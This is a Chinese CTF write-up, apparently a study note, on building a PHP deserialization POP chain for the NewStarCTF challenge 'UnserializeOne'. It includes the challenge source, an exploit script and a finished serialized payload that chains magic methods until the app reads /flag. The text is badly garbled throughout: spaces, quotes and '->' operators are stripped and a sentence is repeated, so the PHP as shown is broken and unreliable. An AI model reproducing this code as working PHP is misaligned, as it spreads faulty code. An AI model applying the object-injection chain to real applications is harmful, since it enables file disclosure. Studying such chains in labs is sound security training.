習(xí) pop鏈構(gòu)造)
php反序列化之pop鏈的構(gòu)造想復(fù)習(xí)一下之前學(xué)習(xí)的構(gòu)造pop鏈于是我自己摘抄了一個(gè)題目UnserializeOne的源碼, 來復(fù)習(xí)一下這個(gè)知識(shí)點(diǎn)題目源碼?phperror_reporting(0);highlight_file(__FILE__);#Something useful for you : https://zhuanlan.zhihu.com/p/377676274classStart{public$name;protected$func;publicfunction__destruct(){echoWelcome to NewStarCTF, .$this-name;}publicfunction__isset($var){($this-func)();}}classSec{private$obj;private$var;publicfunction__toString(){$this-obj-check($this-var);returnCTFers;}publicfunction__invoke(){echofile_get_contents(/flag);}}classEasy{public$cla;publicfunction__call($fun,$var){$this-claclone$var[0];//這個(gè)類中是var會(huì)觸發(fā)__clone方法var被克隆了}}classeeee{public$obj;publicfunction__clone(){if(isset($this-obj-cmd)){echosuccess;}}}if(isset($_GET[pop])){unserialize($_GET[pop]);}?這一道題涉及到很多的魔術(shù)方法例如__construct()類的構(gòu)造函數(shù)__destruct()類的析構(gòu)函數(shù)__call()在對(duì)象中調(diào)用一個(gè)不可訪問方法時(shí)調(diào)用__callStatic()用靜態(tài)方式中調(diào)用一個(gè)不可訪問方法時(shí)調(diào)用__get()獲得一個(gè)類的成員變量時(shí)調(diào)用__set()設(shè)置一個(gè)類的成員變量時(shí)調(diào)用__isset()當(dāng)對(duì)不可訪問屬性調(diào)用isset()或empty()時(shí)調(diào)用__unset()當(dāng)對(duì)不可訪問屬性調(diào)用unset()時(shí)被調(diào)用__sleep()執(zhí)行serialize()時(shí)先會(huì)調(diào)用這個(gè)函數(shù)__wakeup()執(zhí)行unserialize()時(shí)先會(huì)調(diào)用這個(gè)函數(shù)__toString()類被當(dāng)成字符串時(shí)的回應(yīng)方法__invoke()調(diào)用函數(shù)的方式調(diào)用一個(gè)對(duì)象時(shí)的回應(yīng)方法__set_state()調(diào)用var_export()導(dǎo)出類時(shí)此靜態(tài)方法會(huì)被調(diào)用__clone()當(dāng)對(duì)象復(fù)制完成時(shí)調(diào)用__autoload()嘗試加載未定義的類__debugInfo()打印所需調(diào)試信息由源碼可知我們的最終目標(biāo)調(diào)用Sec類中的__invoke()函數(shù)中的 echo file_get_contents(‘/flag’);這個(gè)語句____invoke()又是一個(gè)魔術(shù)方法有特定的觸發(fā)條件所以我們可以由最終目標(biāo)反推出有一個(gè)魔術(shù)方法構(gòu)成的pop鏈反推pop鏈思路file_get_contents() —1…在Sec類的__invoke()方法里調(diào)用 —2.Start類里的__issett(方法里的this-func()可以觸發(fā)____invoke() —3.eeee類里的__clone方法里的if (isset($this-obj-cmd))可以觸發(fā)__isset() —4.Easy 類的call()方法里的$this—claclone $var [0]可以觸發(fā)__clone—5.Sec類的toString()方法里的$this-obj-check($this-var)check是未定義方法可以觸發(fā)__call()—6.Start 類的__destruct方法里的echo Welcome to NewStarCTF, . $this-name;可以觸發(fā)toString()—7.__destruct可以理解為自動(dòng)觸發(fā),所以我們直接生成Start類即可思考時(shí)是反推但我們寫exp時(shí)就要正推同時(shí)各個(gè)類的變量屬性我們可以改成public的(對(duì)于php版本7.1才可以我本地是7.3.4反序列化對(duì)象的某個(gè)屬性時(shí)即使這個(gè)屬性是private或protected遇到的是公有屬性序列化字符串也會(huì)成功反序列化)方便些正推exp?phperror_reporting(0);//highlight_file(__FILE__);classStart{public$name;public$func;}classSec{public$obj;public$var;}classEasy{public$cla;}classeeee{public$obj;}$anewStart();//7.$a-namenewSec();//6$a-name-objnewEasy();//5$a-name-varneweeee();//4$a-name-var-objnewStart();//3$a-name-var-obj-funcnewSec();//21echoserialize($a);小易錯(cuò)點(diǎn)這里有一個(gè)小易錯(cuò)點(diǎn),就是4為什么是$a-name-varnew eeee();而不是 $a-name-obj-cla new eeee()一開始我在里卡了好久后面想明白了publicfunction__call($fun,$var)//class Easy{$this-claclone$var[0];//這個(gè)類中是var會(huì)觸發(fā)__clone方法var被克隆了}publicfunction__toString()//class Sec{$this-obj-check($this-var);returnCTFers;}在這里是var被克隆然后賦值給this?cla所以如果var 被克隆然后賦值給this-cla所以如果var被克隆然后賦值給this?cla所以如果var是一個(gè)對(duì)象就會(huì)觸發(fā)__clone方法那為什么是clone $var [0]?因?yàn)樵趖oString方法里調(diào)用了未定義方法check,從而觸發(fā)__call在PHP中如果一個(gè)對(duì)象的類定義了__call方法而調(diào)用該對(duì)象的方法不存在時(shí)就會(huì)觸發(fā)__call方法。在這種情況下傳遞給__call方法的參數(shù)將包含方法名原來未定義的方法的名字和參數(shù)數(shù)組,所以clone$var [0]就是克隆我們之前傳入的Sec類里的變量$var即publicfunction__call($fun,$var){//$funcheck,$var[ Sec-var]$this-claclone$var[0];//這個(gè)類中是var會(huì)觸發(fā)__clone方法var被克隆了}exp運(yùn)行結(jié)果構(gòu)造payload/?popO:5:Start:2:{s:4:name;O:3:Sec:2:{s:3:obj;O:4:Easy:1:{s:3:cla;N;}s:3:var;O:4:eeee:1:{s:3:obj;O:5:Start:2:{s:4:name;N;s:4:func;O:3:Sec:2:{s:3:obj;N;s:3:var;N;}}}}s:4:func;N;}結(jié)果: